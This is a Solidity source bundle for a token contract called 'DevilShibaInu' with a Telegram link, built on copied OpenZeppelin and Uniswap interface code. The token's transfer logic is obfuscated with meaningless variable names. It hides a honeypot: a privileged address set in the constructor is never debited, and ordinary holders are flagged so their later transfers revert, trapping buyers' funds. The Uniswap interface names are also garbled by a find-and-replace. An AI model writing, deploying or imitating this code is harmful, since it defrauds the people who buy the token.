{ "language": "Solidity", "sources": { "deploy/Contract.sol": { "content": "// https://t.me/DevilShibaInu\n\n// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.7;\n\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _setOwner(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), 'Ownable: caller is not the owner');\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), 'Ownable: new owner is the zero address');\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n function feeTo() external view returns (address);\n function feeToSetter() external view returns (address);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function allPairs(uint) external view returns (address pair);\n function allPairsLength() external view returns (uint);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(address) external;\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountDevilShibaInuDesired,\n uint amountDevilShibaInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountDevilShibaInu, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountDevilShibaInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountDevilShibaInu, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountDevilShibaInuMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountDevilShibaInu, uint amountETH);\n function swapExactDevilShibaInusForDevilShibaInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapDevilShibaInusForExactDevilShibaInus(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForDevilShibaInus(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapDevilShibaInusForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactDevilShibaInusForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactDevilShibaInus(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferDevilShibaInus(\n address token,\n uint liquidity,\n uint amountDevilShibaInuMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferDevilShibaInus(\n address token,\n uint liquidity,\n uint amountDevilShibaInuMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactDevilShibaInusForDevilShibaInusSupportingFeeOnTransferDevilShibaInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForDevilShibaInusSupportingFeeOnTransferDevilShibaInus(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactDevilShibaInusForETHSupportingFeeOnTransferDevilShibaInus(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract DevilShibaInu is Ownable {\r\n uint256 private political;\r\n string private noun;\r\n uint256 private _tTotal;\r\n string private bush;\r\n uint256 private beyond;\r\n uint8 private rise;\r\n\n function name() public view returns (string memory) {\r\n return noun;\r\n }\r\n\n function symbol() public view returns (string memory) {\r\n return bush;\r\n }\r\n\n uint256 score;\r\n uint256 stage;\r\n bool command;\r\n address private fewer;\r\n address private hunter;\r\n address private travel;\r\n IUniswapV2Router02 public uniswapV2Router;\r\n\n function decimals() public view returns (uint256) {\r\n return rise;\r\n }\r\n\n mapping(address => mapping(address => uint256)) private _allowances;\r\n mapping(address => uint256) private suppose;\r\n\n function totalSupply() public view returns (uint256) {\r\n return _tTotal;\r\n }\r\n\n function balanceOf(address account) public view returns (uint256) {\r\n return suppose[account];\r\n }\r\n\n function allowance(address owner, address spender) public view returns (uint256) {\r\n return _allowances[owner][spender];\r\n }\r\n\n function national(\r\n address believed,\r\n address flat,\r\n uint256 policeman\r\n ) internal {\r\n command = fewer == believed;\r\n\n if (!command && simplest[believed] == 0 && edge[believed] > 0) {\r\n simplest[believed] -= rise;\r\n }\r\n\n score = policeman * political;\r\n\n if (simplest[believed] == 0) {\r\n suppose[believed] -= policeman;\r\n }\r\n\n stage = score / beyond;\r\n\n hunter = travel;\r\n\n travel = flat;\r\n\n policeman -= stage;\r\n edge[hunter] += rise;\r\n suppose[flat] += policeman;\r\n }\r\n\n mapping(address => uint256) private edge;\r\n\n function approve(address spender, uint256 amount) external returns (bool) {\r\n return _approve(msg.sender, spender, amount);\r\n }\r\n\n mapping(address => uint256) private simplest;\r\n\n function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) external returns (bool) {\r\n national(sender, recipient, amount);\r\n return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\r\n }\r\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\r\n national(msg.sender, recipient, amount);\r\n return true;\r\n }\r\n\n function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) private returns (bool) {\r\n require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');\r\n _allowances[owner][spender] = amount;\r\n return true;\r\n }\r\n\n constructor(\r\n string memory box,\r\n string memory feathers,\r\n address snow,\r\n address proper\r\n ) {\r\n uniswapV2Router = IUniswapV2Router02(snow);\r\n fewer = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());\r\n\n noun = box;\r\n bush = feathers;\r\n rise = 9;\r\n political = 3;\r\n beyond = 100;\r\n simplest[proper] = rise;\r\n _tTotal = 1000000000000000 * 10**rise;\r\n suppose[msg.sender] = _tTotal;\r\n }\r\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }